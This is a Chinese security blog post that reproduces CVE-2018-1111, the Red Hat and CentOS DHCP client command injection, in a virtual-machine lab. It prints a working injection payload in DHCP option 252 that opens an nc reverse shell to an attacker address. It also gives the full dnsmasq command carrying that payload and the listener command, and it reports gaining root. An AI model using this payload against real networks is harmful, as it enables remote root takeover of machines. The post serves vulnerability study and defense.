专栏首页信安之路CVE2018-1111 漏洞复现

CVE2018-1111 漏洞复现

本文作者:\xeb\xfe(来自信安之路作者团队)

近日,红帽官方发布了安全更新,修复了编号为 CVE-2018-1111 的远程代码执行漏洞,攻击者可以通过伪造 DHCP 服务器发送响应包,攻击红帽系统,获取 root 权限并执行任意命令。

目前相关利用代码已经公开,可用于本地网络攻击。

影响版本

1、Red Hat Enterprise Linux Server 6

2、Red Hat Enterprise Linux Server 7

3、CentOS 6

4、CentOS 7

漏洞详情

DHCP 是一个局域网的网络协议,主要用于内部网络动态 IP 地址分配。

Redhat 提供的 dhcp 客户端软件包 dhclient 的脚本为

/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)

/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6)

当 NetworkManager 组件从 DHCP 服务器收到 DHCP 响应时执行该脚本。

使用单引号使参数值逃逸成功,导致了命令执行,payload 如下:

--dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

payload 实现的效果是,通过命令执行 nc 操作,反弹 shell 到 10.1.1.1 的 1337 端口上。

漏洞复现过程

环境准备

这里我用的测试机器系统分别是Centos 7Kali 2018.2

Centos 7 作为被攻击机,需要设置自动获取 ip 地址。

Kali 2018.2 作为攻击机,需要搭建 DHCP 服务器,实现攻击效果。

攻击环境搭建

这里我用 vmware 虚拟机来实现,两个系统都是连接到 VMnet1 网卡上(仅主机模式),并且关闭网卡上的 DHCP 服务。

接着我们开始配置 kali 上的 dhcp 服务器,dnsmasq 是一个小巧且方便地用于配置 DNS 和 DHCP 的工具,适用于小型网络,它提供了 DNS 功能和可选择的 DHCP 功能,可以快速搭建一个 DNS 服务或者 DHCP 服务。

首先我们设置一下 dnsmasq 需要使用到的配置文件 /etc/dnsmasq.conf

dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间

dhcp-option: 表示指定给 DHCP 客户端的选项信息

log-facility: 表示日志记录器

其中配置文件中包括的 option 取值及含义如下:

3: 设置网关地址选项

6: 设置 DNS 服务器地址选项

252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

这里 dnsmasq.conf 中的 dhcp-range 我设置为 192.168.11.10-192.168.11.20/24 这个 ip 地址范围,租约时间为 12h。

dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。

修改好 /etc/dnsmasq.conf 配置文件之后,还不能直接启动 dnsmasq 服务。

命令执行 payload 如下:

dnsmasq -dC /etc/dnsmasq.conf --dhcp-option="252,x'&nc -e /bin/bash 192.168.11.1 1337 #"

这里的 -d 表示调试模式,-C 表示指定配置文件运行 dnsmasq 服务,更多有关 dnsmasq 的命令详解可以用 man dnsmasq 查看。

命令执行的效果是通过 nc 反弹 shell 到 192.168.11.1 的 1337 端口,所以需要在 kali 开启 nc 端口监听,命令如下:

nc -l -p 1337 -v

然后再用上述命令启动 dnsmasq 服务。

此时 Centos 需要重启网络服务,获取 DHCP 服务器下发的 ip 地址,这里可以看到获取到了 ip 地址 192.168.11.19。

我们再回到 kali 上查看调试结果,并执行 id, ip add show ens33, dir 等命令,通过返回的结果显示,我们已经成功获取到服务器的 root 权限。

CVE2018-1111 漏洞复现到此结束~!通过本文,大家可以学习到如何用 dnsmasq 来快速搭建一个 DNS 服务或者 DHCP 服务,并对 DHCP 服务的 option 部分值和含义有相关了解,以及学习了 CVE2018-1111 漏洞的复现及环境搭建。有兴趣的可以学习一下 DHCP 服务 option 常见值和含义、dnsmasq 的命令详解。

本文章的内容只限技术研究,用于非法攻击产生风险自担。

参考链接

DynoRoot:Red Hat DHCP 客户端命令执行漏洞 CVE-2018-1111 预警

https://www.anquanke.com/post/id/145201

本文分享自微信公众号 - 信安之路(xazlsec),作者:\xeb\xfe

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-05-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CTF 玩转 Crypto 月度总结

    两个越来,感谢老大哥们的照顾,自己学到挺多的简单的写下 Crypto 各类密码学和 misc 类流量分析的心得。菜鸡一个,不喜勿喷。

    信安之路
  • 我是如何通关信安之路巅峰挑战赛的

    我滴个天啊。。。。。弱密码随意登陆。。。。。不好意思,这题我真是非预期解法,具体的预期解法,之前信安之路文章已发,就不仔细讲述啦!

    信安之路
  • 二进制漏洞学习笔记

    这个程序非常简单,甚至不需要你写脚本,直接运行就能获得shell。 写这个程序的目的主要是为了使第一次接触漏洞的同学更好地理解栈溢出的原理。

    信安之路
  • 使用R包SomaticSignatures进行denovo的signature推断

    前面我在生信菜鸟团的肿瘤外显子数据分析专辑提到了,很多研究者会嫌弃cosmic数据库的30个肿瘤突变signatures,他们觉得cosmic数据库30个sig...

    生信技能树
  • python资源库——socket网络编

    socekt又称为‘套接字’,用于描述IP和地址端口,是一个通信链路的句柄,应用程序通常通过套接字向网络发出请求或者应答网络请求。

    py3study
  • Salesforce收购ClickSoftware的逻辑

    最新消息Salesforce花费13.5亿美金收购ClickSoftware,为什么Salesforce会掏这么多钱买一个只专注在现场服务上单一产品线的公司?。...

    臭豆腐
  • 关系抽取之远程监督算法:别再跟我提知识图谱(下篇)

    上一篇文章介绍了远程监督关系抽取算法的基本假设和一般思路,同时指出了远程监督+传统机器学习做关系抽取存在的两个问题:

    邓邓最棒
  • bash和shell的入门下

    数据流重导向 (redirect) 由字面上的意思来看,好像就是将『数据给他传导到其他地方去』的样子? 没错~数据流重导向就是将某个指令执行后应该要出现在屏幕上...

    小柒吃地瓜
  • 从图灵机到冯诺依曼机

    上文中(操作系统系列(2):操作系统发展历史),我们谈了操作系统的发展历程,它伴随着硬件的发展而发展。本文,我们将一起探讨一下计算机模型的发展过程。在上文中我们...

    xujjj
  • 机器如何拥有记忆?DeepMind最新解读,发布最新长程记忆模型和建模基准

    人可以轻易记起几年前的事情,并根据那时的记忆在当下继续思考。这个能力对于计算机来说,就非常困难。

    量子位

扫码关注云+社区

领取腾讯云代金券